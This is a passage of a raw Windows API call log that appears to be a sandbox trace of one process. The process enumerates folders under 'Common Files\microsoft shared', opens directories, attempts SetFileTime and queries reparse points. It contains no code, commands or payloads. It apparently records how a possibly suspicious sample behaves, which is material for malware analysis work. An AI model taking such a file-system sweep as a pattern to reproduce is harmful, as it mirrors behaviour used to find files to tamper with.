ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 0 [0087.267] GetLastError () returned 0x12 [0087.267] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.267] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.267] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.267] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 1 [0087.267] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 0 [0087.268] GetLastError () returned 0x12 [0087.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d370) returned 1 [0087.268] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.268] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 0 [0087.268] GetLastError () returned 0x12 [0087.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.269] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.269] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0087.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.270] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.285] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.286] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.288] NtClose (Handle=0x180) returned 0x0 [0087.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.290] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0087.290] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.291] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0087.291] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cdca800, ftCreationTime.dwHighDateTime=0x1cbd035, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5cdca800, ftLastWriteTime.dwHighDateTime=0x1cbd035, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0087.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.292] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bff900, ftCreationTime.dwHighDateTime=0x1cc115e, ftLastAccessTime.dwLowDateTime=0x8f641300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x90bff900, ftLastWriteTime.dwHighDateTime=0x1cc115e, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0087.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.293] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2738400, ftCreationTime.dwHighDateTime=0x1cbfdf9, ftLastAccessTime.dwLowDateTime=0xb0535940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x2738400, ftLastWriteTime.dwHighDateTime=0x1cbfdf9, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0087.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2738400, ftCreationTime.dwHighDateTime=0x1cbfdf9, ftLastAccessTime.dwLowDateTime=0xb0535940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x2738400, ftLastWriteTime.dwHighDateTime=0x1cbfdf9, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0087.295] GetLastError () returned 0x12 [0087.295] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.295] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.295] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0087.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.295] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\amd64"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.297] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.297] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.297] NtClose (Handle=0x180) returned 0x0 [0087.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d370 [0087.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.298] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.298] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.298] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c444100, ftCreationTime.dwHighDateTime=0x1cc114e, ftLastAccessTime.dwLowDateTime=0xa3e6ce80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5c444100, ftLastWriteTime.dwHighDateTime=0x1cc114e, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0087.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.300] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c444100, ftCreationTime.dwHighDateTime=0x1cc114e, ftLastAccessTime.dwLowDateTime=0xa3e6ce80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5c444100, ftLastWriteTime.dwHighDateTime=0x1cc114e, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 0 [0087.300] GetLastError () returned 0x12 [0087.300] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.300] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c444100, ftCreationTime.dwHighDateTime=0x1cc114e, ftLastAccessTime.dwLowDateTime=0xa3e6ce80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5c444100, ftLastWriteTime.dwHighDateTime=0x1cc114e, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0087.300] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c444100, ftCreationTime.dwHighDateTime=0x1cc114e, ftLastAccessTime.dwLowDateTime=0xa3e6ce80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5c444100, ftLastWriteTime.dwHighDateTime=0x1cc114e, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 0 [0087.300] GetLastError () returned 0x12 [0087.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.300] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d370) returned 1 [0087.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.301] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cdca800, ftCreationTime.dwHighDateTime=0x1cbd035, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5cdca800, ftLastWriteTime.dwHighDateTime=0x1cbd035, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0087.301] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bff900, ftCreationTime.dwHighDateTime=0x1cc115e, ftLastAccessTime.dwLowDateTime=0x8f641300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x90bff900, ftLastWriteTime.dwHighDateTime=0x1cc115e, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0087.301] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2738400, ftCreationTime.dwHighDateTime=0x1cbfdf9, ftLastAccessTime.dwLowDateTime=0xb0535940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x2738400, ftLastWriteTime.dwHighDateTime=0x1cbfdf9, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0087.301] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2738400, ftCreationTime.dwHighDateTime=0x1cbfdf9, ftLastAccessTime.dwLowDateTime=0xb0535940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x2738400, ftLastWriteTime.dwHighDateTime=0x1cbfdf9, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0087.301] GetLastError () returned 0x12 [0087.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.301] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0087.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.302] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.303] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.303] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.303] NtClose (Handle=0x124) returned 0x0 [0087.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.304] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.304] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.305] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1645318, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc1645318, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb0409ed0, 